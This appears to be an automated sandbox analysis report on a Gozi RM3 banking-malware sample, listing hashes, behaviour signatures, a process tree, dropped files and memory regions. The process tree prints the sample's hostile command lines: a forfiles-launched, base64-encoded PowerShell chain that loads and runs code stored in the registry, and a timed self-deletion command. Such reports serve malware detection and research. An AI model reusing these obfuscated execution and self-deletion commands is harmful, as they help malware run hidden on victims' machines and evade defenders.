Analysis

  • max time kernel
    4294211s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7-20220310-en
  • submitted
    15-03-2022 14:05

General

  • Target

    520636dbbdc33d8dbdf1b14f043b46f8.exe

  • Size

    252KB

  • MD5

    520636dbbdc33d8dbdf1b14f043b46f8

  • SHA1

    20eec5615c4ecca3603f889bccf975c855fa7a07

  • SHA256

    bd8aa280646a2b601ccbd5cec125d51646624d34005eb7db56da6b70fda821cb

  • SHA512

    fc3869cf9a917b21e16f2f7150dbf78227c4e52a4f73a3b572555f38b2ae51358f32d0af7e08dc944529a1ed931f4cd09c694a92ad6b5680de58c4a2149077b6

Score
10/10

Malware Config

Extracted

Family

gozi_rm3

Attributes
  • build

    300994

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • Deletes itself 1 IoCs
  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Drops file in System32 directory 3 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 51 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SetWindowsHookEx 44 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1264
      • C:\Users\Admin\AppData\Local\Temp\520636dbbdc33d8dbdf1b14f043b46f8.exe
        "C:\Users\Admin\AppData\Local\Temp\520636dbbdc33d8dbdf1b14f043b46f8.exe"
        2⤵
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1992
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /min forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBvAGQAZQBhAHIAYwBoAGkAdgBlACcAKQAuAFMA & exit" /p C:\Windows\system32 /s /m po*l.e*e
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\system32\forfiles.exe
          forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBvAGQAZQBhAHIAYwBoAGkAdgBlACcAKQAuAFMA & exit" /p C:\Windows\system32 /s /m po*l.e*e
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1356
          • C:\Windows\system32\cmd.exe
            /k "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBvAGQAZQBhAHIAYwBoAGkAdgBlACcAKQAuAFMA & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:756
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBvAGQAZQBhAHIAYwBoAGkAdgBlACcAKQAuAFMA
              5⤵
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1912
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JwBwAGEAcgBhAG0AKAAkAG8AdgB0AHMAbAB5ACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABvAHYAdABzAGwAeQApACcA
                6⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1404
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JwBwAGEAcgBhAG0AKAAkAHAAYgBmAG0AYwBnAHQAcwB1AGYAbQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAYgBmAG0AYwBnAHQAcwB1AGYAbQApACcA
                6⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:592
              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\osypmjrv.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1932
                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA842.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA841.tmp"
                  7⤵
                    PID:1076
                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oza3_e8q.cmdline"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1948
                  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA91C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA91B.tmp"
                    7⤵
                      PID:1524
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C timeout /t 5 && del "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\520636DBBDC33D8DBDF1B14F043B46F8.EXE"
            2⤵
            • Deletes itself
            • Suspicious use of WriteProcessMemory
            PID:1788
            • C:\Windows\system32\timeout.exe
              timeout /t 5
              3⤵
              • Delays execution with timeout.exe
              PID:1636
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1936
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1936 CREDAT:275457 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1012
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1936 CREDAT:996356 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:984

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

          MD5

          54e9306f95f32e50ccd58af19753d929

          SHA1

          eab9457321f34d4dcf7d4a0ac83edc9131bf7c57

          SHA256

          45f94dceb18a8f738a26da09ce4558995a4fe02b971882e8116fc9b59813bb72

          SHA512

          8711a4d866f21cdf4d4e6131ec4cfaf6821d0d22b90946be8b5a09ab868af0270a89bc326f03b858f0361a83c11a1531b894dfd1945e4812ba429a7558791f4f

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

          MD5

          8d59154f9fa5f78b9217db0c169eb259

          SHA1

          22a3b2e4f5238c8b321b8146dad6950eb272d427

          SHA256

          b1288af8d602e81a315074a7c369b7d81237d41969290258ef206c17a854e5cf

          SHA512

          1e89fe9f1a4a7da0ca6c5704d9f09306e67a328611fe8bcc57705e9de7951ad77a2644602f3cc23787404fdb2e619d3615fe6dfbaea9e849ab8480c756c3144d

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

          MD5

          2760940dd3373665524479ac46781ac2

          SHA1

          93f6a6076c7e1ab3d535a0fb6adcae0313eef8ac

          SHA256

          a4d66b76de6889bca2606c99d1002b5b01dd2ffd82a3cac12c72e62702c3da47

          SHA512

          e7f63ae5fc5db271a16b17703a8fdd56d46a6afe1c582d0e519b2c35e0e5126d34019cf0f90d8985772a147f2810409a57e9b718066f1fe1cbbbae3811c7b0de

        • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\w8w9llr\imagestore.dat

          MD5

          e0c253dbd4f75919730d1208457db2e0

          SHA1

          edc50a6801c69134ff04d14f285006ab7ebf0acc

          SHA256

          059333484fb4042c082f5e1e670bc39356f9a19d934b5c23fc6ab364e89302ee

          SHA512

          74878e39b29e49e6aed445d75df9e35a0ed49eeffd09a59aefe13effe309d5fffd1ee5bec907f1725d53bb542d448ad8c1260c9cea8eb795c6d4d52f53514595

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3OL83HNN\favicon[1].ico

          MD5

          a976d227e5d1dcf62f5f7e623211dd1b

          SHA1

          a2a9dc1abdd3d888484678663928cb024c359ee6

          SHA256

          66332859bd8e3441a019e073a318b62a47014ba244121301034b510dc7532271

          SHA512

          6754d545f2ce095cfa1fa7ca9e3223f89e37726ee7e541ebcf3e209e18b2602f3be8677598cb30d697327a63de032c11dbf8ef7ad7889a79c488a21044c1cb3f

        • C:\Users\Admin\AppData\Local\Temp\RESA842.tmp

          MD5

          7f1f94f71dcce806d0bca78d612013d2

          SHA1

          95c33fc2b9e5be4c8ec3e3dc20802652fee94c48

          SHA256

          956b1c753e9c0028cec53347d7cbf3be5dbd2f4613dcfe6f06c6f860d56ce912

          SHA512

          e115b20ad57ddae1fb3d357aa83e4f186908832529a936c52f2242965f4edc3bd1c6f2c12ea5055e79836fbd8c8ad19d862752ea8a11738096901a24b44ec8ab

        • C:\Users\Admin\AppData\Local\Temp\osypmjrv.dll

          MD5

          ec7a96eefbabd22e6aed087425c95ef6

          SHA1

          5d32bf83a615701250646bbcb2bef5c8234794ce

          SHA256

          30578684c26a89bd82378ae4ecc7ce68dd10c7d168f6843e928fdd4d99f35f9f

          SHA512

          722916ce5825fa8a283413578aef4b0cc110c83f0af42bfc4a40a901e4c399f3b0345dc80833a6eb2a51619e62946604a2e9ba3d5a05670ac8bacaaecc5c0b07

        • C:\Users\Admin\AppData\Local\Temp\osypmjrv.pdb

          MD5

          1c01f7d120ec811bebebf853c4c3e1f4

          SHA1

          d378a6a2b3a070ebaa998f54f5d16f879147e761

          SHA256

          918cb874e5c417b9a2c237e5dcb6bcfb86f0cb383da6520083a4173fdc93c14a

          SHA512

          64d79b65aa7178288f570a53e2f3a489fce07b11c645699a995af2d14a8e4254b6224bdf92f9a41a2fbb2e64fbdb3fd44ae1257202ed8f483a819f01e48de6ec

        • C:\Users\Admin\AppData\Local\Temp\oza3_e8q.dll

          MD5

          9120556a97a45e7555ebda26a4891e04

          SHA1

          8d55a8b570407ac13120a661213e3de898df0c22

          SHA256

          bb1dead640c14f03c904f43a2ac1520f5c8e214508ca3d70c7e7daf46b52765d

          SHA512

          f642e1a7599a926b6c3e98b632c140f4ada33149975617470e270aeefb7d32d866aa3d80ceb290824a093a1d647ae154d97a426b767157c162b76e550629c5a4

        • C:\Users\Admin\AppData\Local\Temp\oza3_e8q.pdb

          MD5

          34db741e5006a94367bc64b11110b0f5

          SHA1

          a051a45c59d0e033b0d3d6c911d74832cfc17989

          SHA256

          c50abb56dace7b907031f52db2053a339fa4ab8ac2c84e8aaa03728d66af641a

          SHA512

          d5027b156a3fed8ff20bc6ad1aa90d5319341d35f440c4d3ae4be3746c3368a1caba53bccd5e72fa7d1126e80e5a2092ec9f9b5ba4a34d2825c43aa8c414a39b

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          MD5

          625b456ad24406be3c06dce3d5c3432e

          SHA1

          c7cc8e0c4949ea162d68d6f3e59faedce758d7bf

          SHA256

          90dabb84166493981c68dee7ee8e96624e4f944dd535cb63f2d982a648cac64e

          SHA512

          ff3b2c4165ff654727e6e6f3c2c4cbfbc61dfc5c23a1f1f155c1037c088bd07f5ee7a3be75a5867a0c2fb7c328a22a3d950df7e96c0437601533bcde441b92ed

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          MD5

          625b456ad24406be3c06dce3d5c3432e

          SHA1

          c7cc8e0c4949ea162d68d6f3e59faedce758d7bf

          SHA256

          90dabb84166493981c68dee7ee8e96624e4f944dd535cb63f2d982a648cac64e

          SHA512

          ff3b2c4165ff654727e6e6f3c2c4cbfbc61dfc5c23a1f1f155c1037c088bd07f5ee7a3be75a5867a0c2fb7c328a22a3d950df7e96c0437601533bcde441b92ed

        • \??\c:\Users\Admin\AppData\Local\Temp\CSCA841.tmp

          MD5

          c12d86f1dc02ea3123cdbee5d780f090

          SHA1

          993d6216b7d549f301f9c6b322470781c4f3373f

          SHA256

          31500aed6fdb95d5ad1e36055fd4f6c0afc26126dc4749f132e958b4cf60132c

          SHA512

          14e5596b519346c1c044576e5b23f59fcc14c239b6e1fe735a6261970b33ac144310a144c9b881c9d8f743d8498de5d30e8a3684eae6bae743f96161b33bf604

        • \??\c:\Users\Admin\AppData\Local\Temp\osypmjrv.0.cs

          MD5

          7fceb996f934e8bda687cdd2bd46a9a7

          SHA1

          81e1edbcca6438daaccc3845fa0e3b1a6cff17a6

          SHA256

          fa53f8174510a9ad008973d47798f022b681e1764a15134efd2004980f23bb6e

          SHA512

          6aa6253527b72c0605859180887ff19cd96412cb816ec02e832d4a0e0cbcd03d9cc580112e4e2055d4a9ede850c1a339df974371f992b0b9b73e54e137610205

        • \??\c:\Users\Admin\AppData\Local\Temp\osypmjrv.cmdline

          MD5

          069ff734354afd99b6d5e75d868b1997

          SHA1

          de903117803306256e72ff697009167ec69cb96f

          SHA256

          505ede475e1a535e41dab26036a49fb09991de78ce34b157a2f2a486aee4dc93

          SHA512

          9af3c46dd65f8a4b01aeb3e8b58c462186dbda6020357c594bf535234f9385519aafbcfd796608becc828a4d877049e431379d40b0f48dc35b620849bc742bf0

        • \??\c:\Users\Admin\AppData\Local\Temp\oza3_e8q.0.cs

          MD5

          697f16b8c6892082559d8a17db343865

          SHA1

          246d6ba1419478be7915e78b61525da894321fb9

          SHA256

          518ab091348dea4f49183958185b3d42b5ddb191007bab25b6e69ff6ec923f1f

          SHA512

          801a428c5dd5ff4a745923914505dcf5a9929b3dbfc5bb5f6320996ad849fa42dc75ac53a432dd01103e0d6db2269583351f14b189a76a066d6f940ff79d38d6

        • \??\c:\Users\Admin\AppData\Local\Temp\oza3_e8q.cmdline

          MD5

          ec09b9ded659bf771729da49524ee0e8

          SHA1

          5da299ddd549cce62f1379e16d8396f6c6c615aa

          SHA256

          1d36482409f8954a4ad2e52db7a481ce0e119200398ec3337fa0124f6abebdc1

          SHA512

          665e506e357b1280eb34eee2efd607b7c1bb384b9c988194813b8ab8de5238a52c6b5d46a8126a043d42e2788d12765c50f87f96f931924c24ea79ff77780367

        • memory/592-97-0x000000000297B000-0x000000000299A000-memory.dmp

          Filesize

          124KB

        • memory/592-96-0x000000001B750000-0x000000001BA4F000-memory.dmp

          Filesize

          3.0MB

        • memory/592-95-0x0000000002974000-0x0000000002977000-memory.dmp

          Filesize

          12KB

        • memory/592-94-0x0000000002972000-0x0000000002974000-memory.dmp

          Filesize

          8KB

        • memory/592-93-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

          Filesize

          9.6MB

        • memory/592-91-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

          Filesize

          9.6MB

        • memory/592-92-0x0000000002970000-0x0000000002972000-memory.dmp

          Filesize

          8KB

        • memory/592-90-0x000007FEF2C60000-0x000007FEF37BD000-memory.dmp

          Filesize

          11.4MB

        • memory/1264-110-0x0000000002AD0000-0x0000000002AE5000-memory.dmp

          Filesize

          84KB

        • memory/1264-633-0x0000000002640000-0x0000000002655000-memory.dmp

          Filesize

          84KB

        • memory/1404-84-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

          Filesize

          9.6MB

        • memory/1404-80-0x000007FEF2C60000-0x000007FEF37BD000-memory.dmp

          Filesize

          11.4MB

        • memory/1404-86-0x0000000002302000-0x0000000002304000-memory.dmp

          Filesize

          8KB

        • memory/1404-85-0x000000000230B000-0x000000000232A000-memory.dmp

          Filesize

          124KB

        • memory/1404-87-0x0000000002304000-0x0000000002307000-memory.dmp

          Filesize

          12KB

        • memory/1404-83-0x0000000002300000-0x0000000002302000-memory.dmp

          Filesize

          8KB

        • memory/1404-82-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

          Filesize

          9.6MB

        • memory/1912-76-0x0000000002834000-0x0000000002837000-memory.dmp

          Filesize

          12KB

        • memory/1912-73-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

          Filesize

          9.6MB

        • memory/1912-109-0x0000000002910000-0x0000000002923000-memory.dmp

          Filesize

          76KB

        • memory/1912-72-0x000007FEF2C60000-0x000007FEF37BD000-memory.dmp

          Filesize

          11.4MB

        • memory/1912-71-0x000007FEFB7F1000-0x000007FEFB7F3000-memory.dmp

          Filesize

          8KB

        • memory/1912-81-0x000000000283B000-0x000000000285A000-memory.dmp

          Filesize

          124KB

        • memory/1912-75-0x0000000002832000-0x0000000002834000-memory.dmp

          Filesize

          8KB

        • memory/1912-74-0x0000000002830000-0x0000000002832000-memory.dmp

          Filesize

          8KB

        • memory/1932-100-0x00000000022F0000-0x00000000022F2000-memory.dmp

          Filesize

          8KB

        • memory/1992-54-0x000000000040E000-0x0000000000419000-memory.dmp

          Filesize

          44KB

        • memory/1992-65-0x0000000000260000-0x0000000000262000-memory.dmp

          Filesize

          8KB

        • memory/1992-64-0x0000000001000000-0x000000000106F000-memory.dmp

          Filesize

          444KB

        • memory/1992-58-0x0000000000230000-0x0000000000240000-memory.dmp

          Filesize

          64KB

        • memory/1992-57-0x0000000075041000-0x0000000075043000-memory.dmp

          Filesize

          8KB

        • memory/1992-77-0x0000000000260000-0x000000000027A000-memory.dmp

          Filesize

          104KB

        • memory/1992-56-0x0000000000220000-0x000000000022C000-memory.dmp

          Filesize

          48KB

        • memory/1992-55-0x000000000040E000-0x0000000000419000-memory.dmp

          Filesize

          44KB